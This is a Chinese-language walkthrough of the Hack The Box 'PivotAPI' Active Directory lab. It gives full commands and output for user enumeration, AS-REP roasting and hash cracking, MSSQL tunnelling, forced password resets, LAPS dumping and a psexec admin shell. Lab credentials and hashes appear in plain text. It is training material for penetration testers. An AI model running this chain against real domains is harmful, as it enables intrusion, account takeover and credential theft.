目录
前言
非常经典的一个域渗透靶机,insane(疯狂难度),涉及到知识很多,操作难度稍大。如果你有兴趣挑战这个靶机,相信这篇文章会对你有所帮助!
1. 端口扫描
1.1 全端口扫描
tcp 全端口扫描
sudo nmap -v -sT -Pn --min-rate 10000 -p- 10.10.10.240 -oA 10.10.10.240_tcp
udp全端口扫描
sudo nmap -v -sU -Pn --min-rate 10000 -p- 10.10.10.240 -oA 10.10.10.240_udp
对tcp扫描结果做一些处理,用于后面的服务版本扫描和端口漏洞扫描
grep open 10.10.10.240_tcp.nmap | awd -F '/' '{print $1}' | paste -sd ','
1.2 服务版本探测
sudo nmap -v -sT -sV -sC -O -p21,22,53,88,135,139,389,445,464,593,636,1433,3269,9389,49668,49673,49674,49784 10.10.10.240 -oA 10.10.10.240_tcp_version
sudo nmap -v -sU -sV -sC -O -p53,88,123,389 10.10.10.240 -oA 10.10.10.240_udp_version
tcp版本扫描结果 :
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 02-19-21 02:06PM 103106 10.1.1.414.6453.pdf
| 02-19-21 02:06PM 656029 28475-linux-stack-based-buffer-overflows.pdf
| 02-19-21 11:55AM 1802642 BHUSA09-McDonald-WindowsHeap-PAPER.pdf
| 02-19-21 02:06PM 1018160 ExploitingSoftware-Ch07.pdf
| 08-08-20 12:18PM 219091 notes1.pdf
| 08-08-20 12:34PM 279445 notes2.pdf
| 08-08-20 12:41PM 105 README.txt
|_02-19-21 02:06PM 1301120 RHUL-MA-2009-06.pdf
| ftp-syst:
|_ SYST: Windows_NT
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 3072 fa:19:bb:8d:b6:b6:fb:97:7e:17:80:f5:df:fd:7f:d2 (RSA)
| 256 44:d0:8b:cc:0a:4e:cd:2b:de:e8:3a:6e:ae:65:dc:10 (ECDSA)
|_ 256 93:bd:b6:e2:36:ce:72:45:6c:1d:46:60:dd:08:6a:44 (ED25519)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-05 14:24:45Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
1433/tcp open ms-sql-s Microsoft SQL Server 2019 15.00.2000.00; RTM
| ms-sql-info:
| 10.10.10.240:1433:
| Version:
| name: Microsoft SQL Server 2019 RTM
| number: 15.00.2000.00
| Product: Microsoft SQL Server 2019
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 1433
| ms-sql-ntlm-info:
| 10.10.10.240:1433:
| Target_Name: LICORDEBELLOTA
| NetBIOS_Domain_Name: LICORDEBELLOTA
| NetBIOS_Computer_Name: PIVOTAPI
| DNS_Domain_Name: LicorDeBellota.htb
| DNS_Computer_Name: PivotAPI.LicorDeBellota.htb
| DNS_Tree_Name: LicorDeBellota.htb
|_ Product_Version: 10.0.17763
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-11-05T14:18:26
| Not valid after: 2054-11-05T14:18:26
| MD5: 8a36:2100:4dab:f614:6ab6:6a1f:719e:068b
|_SHA-1: e03a:1471:ac38:5a51:8910:dfb4:1185:2057:7c4f:10aa
|_ssl-date: 2024-11-05T14:26:56+00:00; 0s from scanner time.
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
49668/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49784/tcp open msrpc Microsoft Windows RPC
udp版本扫描结果:
PORT STATE SERVICE VERSION
53/udp open domain Simple DNS Plus
88/udp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-11-05 14:26:06Z)
123/udp open ntp NTP v3
| ntp-info:
|_ receive time stamp: 2024-11-05T14:26:24
389/udp open ldap Microsoft Windows Active Directory LDAP (Domain: LicorDeBellota.htb0., Site: Default-First-Site-Name)
扫出域名的话记得添加到/etc/hosts文件
1.3 漏洞扫描
sudo nmap --script=vuln -p21,22,53,88,135,139,389,445,464,593,636,1433,3269,9389,49668,49673,49674,49784,53,88,123,389 10.10.10.240 -oA 10.10.10.240_vuln
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
53/tcp open domain
88/tcp open kerberos-sec
123/tcp filtered ntp
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
|_ssl-ccs-injection: No reply from server (TIMEOUT)
1433/tcp open ms-sql-s
|_tls-ticketbleed: ERROR: Script execution failed (use -d to debug)
3269/tcp open globalcatLDAPssl
|_ssl-ccs-injection: No reply from server (TIMEOUT)
9389/tcp open adws
49668/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49784/tcp open unknown
Host script results:
|_smb-vuln-ms10-061: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
|_smb-vuln-ms10-054: false
|_samba-vuln-cve-2012-1182: Could not negotiate a connection:SMB: Failed to receive bytes: ERROR
漏洞扫描没有获取到有价值的信息
2. 获取数据
2.1 ftp服务获取数据
注意到21端口的ftp服务支持匿名登录,尝试登录下载这个服务下面的文件
wget -m ftp://anonymous@10.10.10.240
//-m 是递归下载,通过这个参数可以下载ftp服务下的所有文件
//ftp登录的格式是ftp://username:password@ip_address,如果是匿名登录可以不指定密码
有很多pdf文件和一个README.txt,先看一下README.txt
信息内容提示,要把下载模式改为binary(二进制模式),这个提示是有道理的,因为如果传输的是可执行文件但没开启二进制传输模式的话有可能造成文件损坏
在看一下pdf文件的详细信息
exiftool *.pdf
其中一个文件的信息如下:
======== 10.1.1.414.6453.pdf
ExifTool Version Number : 12.76
File Name : 10.1.1.414.6453.pdf
Directory : .
File Size : 103 kB
File Modification Date/Time : 2021:02:19 14:06:00-05:00
File Access Date/Time : 2024:11:05 09:43:40-05:00
File Inode Change Date/Time : 2024:11:05 09:43:40-05:00
File Permissions : -rw-rw-r--
File Type : PDF
File Type Extension : pdf
MIME Type : application/pdf
PDF Version : 1.2
Linearized : No
Page Count : 23
Creator : Microsoft Word
Create Date : 10. February 2000 11:41
Title : Takanen
Author : Unknown
Producer : Acrobat PDFWriter 3.02 for Windows
Subject :
对这些数据做些处理,把creator和author字段的数据提取出来,并保存到文件
exiftool *.pdf | grep -iE creator\|author | awk -F ':' '{print $2}' | grep -v -i microsoft | grep -vE '[0-9]' | uniq | tail -n 4 | sort | tee pdf_authors
//命令很长,后面的处理多是为了筛掉一些没必要的,如microsoft
对这些pdf文件,大致都是围绕一个windows环境下的缓冲区溢出漏洞,讲到的内容很多,包括相关的基础、原理和利用方式这些,不一一展示了。这些知识可能后面会用到
2.2 smb服务攻击
用crackmapexec看一下445端口的状态
crackmapexec smb 10.10.10.240
可以看到445端口开启且smb服务正常
查看共享文件
smbmap -H 10.10.10.240
smbclient -L //10.10.10.240 -N
这个报错是提示需要用户凭据登录才能访问,再看一下rpc服务能否访问
rpcclient -U '' -N 10.10.10.240
一样是拒绝访问
2.2.1 域用户枚举
用kerbrute尝试枚举域用户
https://github.com/ropnop/kerbrute/releases
./kerbrute_linux_amd64 userenum --domain LicorDeBellota.htb --dc 10.10.10.240 /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -t 500
发现四个
jari
administrador
sshd
lothbrok
把这几个用户名和之前从pdf文件中提取到的放到一个文件里
2.2.2 AS-REP Roasting攻击
下面开始尝试AS-REP Roasting攻击,这里讲一下前置知识:当某个域用于的uf_dont_require_preauth的值被设置为true,就可以通过这个用户进行AS-REP Roasting攻击爆破获得不需要域认证的域用户的凭据hash。这里用的工具是impacket包的GetNPUsers
impacket-GetNPUsers -no-pass -dc-ip 10.10.10.240 LicorDeBellota.htb/ -usersfile user_list
结果如下 :
Impacket v0.12.0.dev1 - Copyright 2023 Fortra
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
$krb5asrep$23$Kaorz@LICORDEBELLOTA.HTB:f8ec63ff811160a507c547963b38527b$63b412209ae3d549adbea9f16b229d8388e0744a00bffa4a3862774c1f72e615c553fab4bc4f84fdfbe5715edf25f410588150b9974b344c00504022fe8ff9e61d0617e8b8cd7b0b28e91263cf0c042c4544d9d1186bbdc9c9abc3e23760bfcb5111d560d5cad4fc76fa152deb7cb2edc71c53d42d1ccfaa26ee9392a99eabe9a0e6eef04516a03702a6c3cd7e3797707276958a49916c4963e0fa8e9aa5f9c222e132ccf5d682106f98915bccb57ddd16886136eb38ba4360c1de0291af93e03809cff4f823b7c2504e520f5c90ea73cb69b5c6eeee7fb21e5790cc22d0914125602f1fcc222090e6497ca444867e3796d2527f333bf26f
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] User jari doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User administrador doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User sshd doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lothbrok doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] invalid principal syntax
获取到Kaorz用户的凭据hash
$krb5asrep$23$Kaorz@LICORDEBELLOTA.HTB:f8ec63ff811160a507c547963b38527b$63b412209ae3d549adbea9f16b229d8388e0744a00bffa4a3862774c1f72e615c553fab4bc4f84fdfbe5715edf25f410588150b9974b344c00504022fe8ff9e61d0617e8b8cd7b0b28e91263cf0c042c4544d9d1186bbdc9c9abc3e23760bfcb5111d560d5cad4fc76fa152deb7cb2edc71c53d42d1ccfaa26ee9392a99eabe9a0e6eef04516a03702a6c3cd7e3797707276958a49916c4963e0fa8e9aa5f9c222e132ccf5d682106f98915bccb57ddd16886136eb38ba4360c1de0291af93e03809cff4f823b7c2504e520f5c90ea73cb69b5c6eeee7fb21e5790cc22d0914125602f1fcc222090e6497ca444867e3796d2527f333bf26f
尝试用hashcat破解
hashcat -m 18200 Kaorz_hash /home/kali/pass/rockyou.txt
破解成功,拿到Kaorz用户的密码
Kaorz:Roper4155
尝试ssh登录
再用一下GetNPUsers尝试枚举
impacket-GetNPUsers -dc-ip 10.10.10.240 LicorDeBellota.htb/Kaorz:Roper4155
没有枚举出其他用户,注意到1433端口也是开放的,尝试一下mssql登录
impacket-mssqlclient LicorDeBellota.htb/Kaorz:Roper4155@10.10.10.240
3. bloodhound和域
3.1 bloodhound安装
sudo apt install bloodhound
sudo apt install bloodhound.py //bloodhound的采集器
sudo neo4j restart //初始化数据库
bloodhound //运行
用采集器收集域信息,指定输出文件格式为zip压缩包,这个压缩包用于后面的数据导入
bloodhound-python -c ALL -u Kaorz -p Roper4155 -d LicorDeBellota.htb -dc LicorDeBellota.htb -ns 10.10.10.240 --zip
然后回到bloodhound把压缩包上传
已拿下的用户右键标记为owned,然后左侧可以查看相关联的信息
3.2 smb服务获取数据
尝试用Kaorz用户访问smb服务
crackmapexec smb 10.10.10.240 -u Kaorz -p Roper4155 --shares
smbclient -U LicorDeBellota.htb/Kaorz //10.10.10.240/NETLOGON
msg文件用msgconvert工具转换成eml文件再用xdg-open打开
msgconvert *.msg
得到两个用户,可以先添加到user_list.两个文件内容讲了关于Sql Server和Win RM的运维事件,暂时分析不出来有什么用
cybervaca@licordebellota.htb
helpdesk@licordebellota.htb
还有一个共享目录sysvol,也是可以用Kaorz用户访问的,但是有用的文件还是已经下载的那些,就不重复下载了
3.3 exe文件逆向
下面开始exe文件的逆向
先看一下文件格式
看一下有哪些可读字符串
strings Restart-OracleService.exe | tee Restart-OracleService_strings
有2.3W行的数据,但是没有找到有用信息
3.3.1 ghidra静态调试
kali下用ghidra这个工具做逆向静态分析,当然IDA也可以,看自己习惯
3.3.2 Process-Monitor动态分析
用Process-Monitor进行动态分析
Sysinternals 实用工具 - Sysinternals | Microsoft Learn
设置过滤条件,确保捕捉到的程序数据都是指定的程序,之后运行程序即可抓到
设置过滤条件,查看程序运行的bat文件
放大看一下
bat文件是执行命令的,这些bat文件的大致逻辑是先创建一个临时文件,然后向文件里面写一些内容,后面又创建一个文件,最后删掉。临时文件的后缀是tmp。复制出路径看一下这些bat文件是否还存在
不存在了,说明上面解释的程序逻辑应该是对的,而那些程序运行过程中生成的文件很可能含有关键信息,这个时候就需要做文件持久化。文件持久化只需要修改对应文件夹的权限即可
把删除权限取消即可,之后重新运行程序,观察新生成的文件
tmp文件没有内容,用记事本查看bat文件
程序逻辑大概是:
先进行一个身份验证,验证通过的话就执行下面的程序:创建一个oracle.txt文件,向oracle.txt文件写入内容。把powershell执行的命令写入一个monta.ps1,这个文件运行后读取并解码oracle.txt文件的内容,之后重新写入一个exe文件。之后删除所有文件
可以修改一下代码,使得生成的文件不被删除,修改的内容如下:
@shift /0
@echo off
goto correcto
goto error
:correcto
echo $salida = $null; $fichero = (Get-Content C:\ProgramData\oracle.txt) ; foreach ($linea in $fichero) {$salida += $linea }; $salida = $salida.Replace(" ",""); [System.IO.File]::WriteAllBytes("c:\programdata\restart-service.exe", [System.Convert]::FromBase64String($salida)) > c:\programdata\monta.ps1
powershell.exe -exec bypass -file c:\programdata\monta.ps1
:error
其他不变,保存之后重新运行,生成以下几个文件
3.3.3 API Monitor 分析
之后还是动态分析,只是这次要监控dll动态链接库的活动,用API Monitor,下载地址:
安装完成之后打开,左边全部勾选,新建一个monitor,文件选择restart-service.exe,点击ok即可
查找数据
没找到
用现成的吧
svc_orcle:#oracle_s3rV1c3!2010 //这个是api monitor监控得到的
//以下是推测得出的
svc_mssql:#mssql_s3rV1c3!2020
sa:#mssql_s3rV1c3!2020
3.4 mssql横向移动
登录mssql
impacket-mssqlclient 'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.10.10.240'
用到mssqlproxy这个工具 ,下载到本地
GitHub - djhons/mssqlproxy: mssqlproxy python3.5+ 并修复bug
用这个脚本的mssqlclient.py去连接mssql数据库,之前的连接先关掉
python3 ./mssqlproxy-main/mssqlclient.py 'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.10.10.240'
按照脚本的使用说明,先激活ole,再上传reciclador.dll到c:\windows\temp目录
enable_ole
upload reciclador.dll c:\windows\temp\reciclador.dll
退出命令行,重新执行以下命令
python3 ./mssqlproxy-main/mssqlclient.py 'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.10.10.240' -install -clr assembly.dll
assembly.dll脚本文件夹中有源码,需要自己编译,也可以在github上下载编译好的
https://github.com/blackarrowsec/mssqlproxy/releases/tag/0.1
继续,执行以下命令开启一个端口监听,其实也是一个socks隧道
python3 ./mssqlproxy-main/mssqlclient.py 'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.10.10.240' -start -reciclador 'c:\windows\temp\reciclador.dll'
在proxychains配置文件中配置socks代理
用proxychains尝试获取evil-winrm shell
proxychains evil-winrm -i 127.0.0.1 -u svc_mssql -p '#mssql_s3rV1c3!2020'
桌面下有两个文件,下载到本地(这个socks隧道不稳定,可能需要多次尝试)
note.txt
credential.kdbx用kpcli打开,但是这个文件有加密,需要用keepass2john生成一个文件hash,再用hashcat破解
破解拿到密码mahalkita,再次用kpcli查看credential.kdbx文件
得到两组用户名和密码
Michael321:12345
3v4Si0N:Gu4nCh3C4NaRi0N!23 //SSH登录凭据
直接ssh登录
sudo ssh 3v4Si0N@10.10.10.240
3v4si0n这个用户已经拿下了
3.4.1 bloodhound 攻击链
切换到powershell模式,查看Developers目录
提示没权限,查看域用户组和组成员情况
域中有Developers用户组,组成员有jari和superfume,我们要查看Developers文件夹需要有它的组成员权限。
回到bloodhound看下攻击路径
3V4SI0N这个用户直接控制DR.ZAIUSS用户,DR.ZAIUSS用户直接控制SUPERFUME用户
一个攻击思路是:
我们现在是3V4SI0N用户,可以直接修改DR.ZAIUSS用户的密码,再用DR.ZAIUSS用户去修改SUPERFUME用户的密码
net user dr.zaiuss 123qwe!
修改成功,再用evil-winrm登录DR.ZAIUSS账户
python3 ./mssqlproxy-main/mssqlclient.py 'LicorDeBellota.htb/sa:#mssql_s3rV1c3!2020@10.10.10.240' -start -reciclador 'c:\windows\temp\reciclador.dll'
proxychains evil-winrm -i 127.0.0.1 -u dr.zaiuss -p '123qwe!'
用同样的方式修改superdume用户的密码
net user superfume P1dc0f!
切换到superfume用户
proxychains evil-winrm -i 127.0.0.1 -u superfume -p 'P1dc0f!'
进入developers目录查看,jari目录下有两个文件
下载到本地
!不试了。用dnSpy对restart-mssql.exe文件逆向可以得到jari用户的密码
jari:Cos@Chung@!RPG
回到bloodhound看一下jari的可操作对象
jari可以强制修改gibdeon和stooormq用户的密码,这次不用evil-winrm来做这个操作,因为太不稳定,换用rpcclient
rpcclient -U 'jari%Cos@Chung@!RPG' 10.10.10.240
检查密码是否成功修改
crackmapexec smb 10.10.10.240 -u gibdeon -p '123qwe!'
显示加号说明密码生效
3.4.2 获取管理员凭据
回到bloodhound寻找下一条攻击路径
分析:lothbrok和Cybervaca是LAPS READ用户组用户,同时cybervaca是管理员组用户,具有管理员权限。OPERS.DE CUENTAS组对LAPS READ组具有完全控制权,而gibdeon是OPERS.DE CUENTAS组成员。
一个攻击思路是:利用gibdeon修改lothbrok用户的密码,再用lothbrok用户去尝试获得cybervaca用户的权限
用rpcclient修改lothbrok用户密码
rpcclient -U 'gibdeon%123qwe!' 10.10.10.240
setuserinfo2 lothbrok 23 '123qwe!'
crackmapexec smb 10.10.10.240 -u lothbrok -p '123qwe!'
用lothbrok用户去尝试dump出管理员密码,用到的工具是LAPSDumper
GitHub - n00py/LAPSDumper: Dumping LAPS from Python
python3 laps.py -u lothbrok -p '123qwe!' -d LicorDeBellota.htb
运行之后也是得到了管理员凭据,注意管理员是administrador不是administrator
administrador:C5z3xSdgsTMo1iudr778
3.4.3 获得admin shell
回到bloodhound看一下可以通过哪些方式获得管理员的shell
administrador既不是ssh组成员也不是winrm组成员,可以尝试impacket-psexec
impacket-psexec LicorDeBellota.htb/administrador:'C5z3xSdgsTMo1iudr778'@10.10.10.240
为什么之前的那些用户没想到用impacket-psexec去获得shell呢?也可以试一下
psexec运行的时候首先向smb服务下的几个共享文件夹内写入一个exe文件用来执行命令,这就需要有足够的权限来访问这些文件夹,当不是administrador的其他用户尝试通过这种方式获得shell时,往往会因为权限不够而失败,如上图所示
4. 参考
「红队笔记」靶机精讲:HTB PivotAPI - 疯狂难度、复杂域渗透和逆向启蒙靶机,带你进入域渗透的深水区。_哔哩哔哩_bilibili
结语
非常感谢红队笔记师傅地耐心细致讲解,跟着师傅的视频完成了这个靶机的挑战,这中间学习到很多域渗透知识和各种渗透技巧。虽然说花的时间远不止视频的两小时,但是很值得。我之前也打过不少HTB的靶机,但这台靶机是目前为止我遇到难度最大、涉及知识面最广、操作最复杂的机器。我挑战这台靶机的目的不在于完成这个挑战,而在于在挑战过程中尽可能地掌握学到的新知识,当然结果是令我开心的,因为确实学到了很多。最后再次感谢红队笔记师傅助我完成挑战!